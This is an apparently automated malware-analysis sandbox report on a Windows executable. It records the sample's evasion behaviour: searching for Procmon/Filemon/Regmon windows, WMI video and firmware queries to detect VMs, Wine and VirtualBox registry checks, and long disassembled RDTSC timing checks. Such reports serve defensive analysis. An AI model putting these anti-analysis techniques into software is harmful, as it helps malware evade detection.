Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D4829 second address: 6D482D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D482D second address: 6D485C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007FCD11532024h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007FCD1153201Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D49A4 second address: 6D49A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D49A8 second address: 6D49CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD1153201Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCD1153201Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D49CB second address: 6D49CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D49CF second address: 6D49D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D6D52 second address: 6D6D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007FCD111F5CC4h 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCD111F5CBBh 0x00000016 pop edx 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jnc 00007FCD111F5CC8h 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007FCD111F5CB6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D6D90 second address: 6D6DB0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jne 00007FCD1153201Ch 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D6E17 second address: 6D6E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D6E1D second address: 6D6E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FCD11532016h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D6FDA second address: 6D7060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 xor dword ptr [esp], 6193C5B4h 0x0000000e push 00000003h 0x00000010 add esi, dword ptr [ebp+122D2CA6h] 0x00000016 push 00000000h 0x00000018 movsx edi, cx 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FCD111F5CB8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D31C9h], esi 0x0000003d call 00007FCD111F5CB9h 0x00000042 jmp 00007FCD111F5CBDh 0x00000047 push eax 0x00000048 jmp 00007FCD111F5CBCh 0x0000004d mov eax, dword ptr [esp+04h] 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FCD111F5CC9h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6D6DB0 second address: 558C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FCD11532023h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov edi, dword ptr [ebp+122D2B76h] 0x00000012 push dword ptr [ebp+122D15A9h] 0x00000018 jmp 00007FCD1153201Eh 0x0000001d call dword ptr [ebp+122D2EEEh] 0x00000023 pushad 0x00000024 jbe 00007FCD11532036h 0x0000002a xor eax, eax 0x0000002c jp 00007FCD11532022h 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 mov dword ptr [ebp+122D2ECAh], ebx 0x0000003c mov dword ptr [ebp+122D314Ah], edx 0x00000042 mov dword ptr [ebp+122D2B52h], eax 0x00000048 cld 0x00000049 mov esi, 0000003Ch 0x0000004e sub dword ptr [ebp+122D1E03h], edi 0x00000054 mov dword ptr [ebp+122D2ECAh], eax 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e pushad 0x0000005f call 00007FCD1153201Eh 0x00000064 mov bh, 17h 0x00000066 pop esi 0x00000067 mov edx, ebx 0x00000069 popad 0x0000006a lodsw 0x0000006c jmp 00007FCD11532028h 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 sub dword ptr [ebp+122D314Ah], edx 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f pushad 0x00000080 jp 00007FCD11532019h 0x00000086 add dword ptr [ebp+122D2F3Fh], esi 0x0000008c popad 0x0000008d nop 0x0000008e jmp 00007FCD1153201Ch 0x00000093 push eax 0x00000094 push eax 0x00000095 push eax 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F85EE second address: 6F85F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F85F2 second address: 6F85FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FCD11532016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F85FE second address: 6F8604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F8604 second address: 6F8608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C6A03 second address: 6C6A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jl 00007FCD111F5CB6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C6A15 second address: 6C6A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532026h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007FCD11532043h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6C6A3F second address: 6C6A61 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FCD111F5CC9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F6545 second address: 6F654D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F654D second address: 6F6551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F667F second address: 6F66AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532026h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FCD1153201Ch 0x0000000f pushad 0x00000010 js 00007FCD11532016h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F66AE second address: 6F66B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F6986 second address: 6F699D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD11532023h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F7786 second address: 6F77B4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FCD111F5CD1h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F77B4 second address: 6F77BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F7D3F second address: 6F7D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCD111F5CC0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F802F second address: 6F8039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F816C second address: 6F818F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD111F5CBBh 0x00000009 jmp 00007FCD111F5CC4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F8469 second address: 6F846D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6F846D second address: 6F849F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCD111F5CB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 jne 00007FCD111F5CBAh 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jbe 00007FCD111F5CC5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6FBEDD second address: 6FBEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007FCD1153201Ch 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 6CA108 second address: 6CA10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7056BC second address: 7056C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 704BD6 second address: 704BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 705E53 second address: 705E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 705E57 second address: 705E65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FCD111F5CB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 706328 second address: 70632D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 706494 second address: 706498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7069A6 second address: 7069AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7069AA second address: 7069B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7069B7 second address: 7069EB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FCD11532029h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FCD1153201Ch 0x0000001a je 00007FCD11532016h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 706F1D second address: 706F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 706FFC second address: 70700F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FCD11532016h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 707D8B second address: 707D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 707D8F second address: 707D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 708DFF second address: 708E79 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d jno 00007FCD111F5CBCh 0x00000013 pop edi 0x00000014 nop 0x00000015 push ecx 0x00000016 mov dword ptr [ebp+122D1E03h], esi 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007FCD111F5CB8h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebx 0x0000003e call 00007FCD111F5CB8h 0x00000043 pop ebx 0x00000044 mov dword ptr [esp+04h], ebx 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc ebx 0x00000051 push ebx 0x00000052 ret 0x00000053 pop ebx 0x00000054 ret 0x00000055 mov esi, dword ptr [ebp+122D2ABEh] 0x0000005b cld 0x0000005c push eax 0x0000005d jbe 00007FCD111F5CC2h 0x00000063 jnp 00007FCD111F5CBCh 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7096E6 second address: 7096EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70A4F6 second address: 70A4FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 7096EB second address: 7096F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70A27D second address: 70A28B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD111F5CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70A4FA second address: 70A500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70C60E second address: 70C614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70C614 second address: 70C61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70C61C second address: 70C622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70F8DB second address: 70F909 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCD1153201Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007FCD11532026h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70F909 second address: 70F90D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70F90D second address: 70F988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FCD11532018h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 or dword ptr [ebp+122D2ED9h], esi 0x00000028 call 00007FCD1153201Dh 0x0000002d mov ebx, 1E715721h 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FCD11532018h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov bh, ah 0x00000051 push 00000000h 0x00000053 sub ebx, 350F7456h 0x00000059 xchg eax, esi 0x0000005a je 00007FCD11532030h 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 70FB1B second address: 70FBAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD111F5CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FCD111F5CC3h 0x0000000f nop 0x00000010 mov ebx, dword ptr [ebp+122D3189h] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov ebx, ecx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov eax, dword ptr [ebp+122D077Dh] 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FCD111F5CB8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 push FFFFFFFFh 0x00000048 xor bx, C039h 0x0000004d nop 0x0000004e pushad 0x0000004f jmp 00007FCD111F5CBEh 0x00000054 jmp 00007FCD111F5CC3h 0x00000059 popad 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 713E5D second address: 713E8B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCD11532022h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007FCD11532023h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 711AAB second address: 711AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 711AAF second address: 711AB9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD11532016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 711AB9 second address: 711AD2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCD111F5CBEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 714026 second address: 71402C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	RDTSC instruction interceptor: First address: 715136 second address: 71513A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
